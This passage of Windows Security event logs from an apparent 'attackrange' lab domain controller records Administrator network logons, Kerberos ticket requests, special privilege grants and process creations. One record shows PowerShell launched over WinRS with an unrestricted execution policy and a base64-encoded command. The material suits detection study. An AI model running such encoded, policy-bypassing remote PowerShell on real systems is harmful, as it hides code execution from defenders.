AEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253067
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253066
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191B4A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253065
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x191B4A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253064
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253063
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253062
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253061
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x48c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf4c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Process Information:
	New Process ID:		0xf4c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253059
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253058
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1918D5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253057
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253056
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{A7D357D9-3948-EC2D-AF65-CC7CD414C573}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253055
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253128
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x194F42

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253127
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x194F42
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253126
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253125
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{2352A9C0-C6CF-B82A-40BB-4BFE6939EDA2}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253124
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253123
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x113c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253122
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19373B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x113c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf14
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
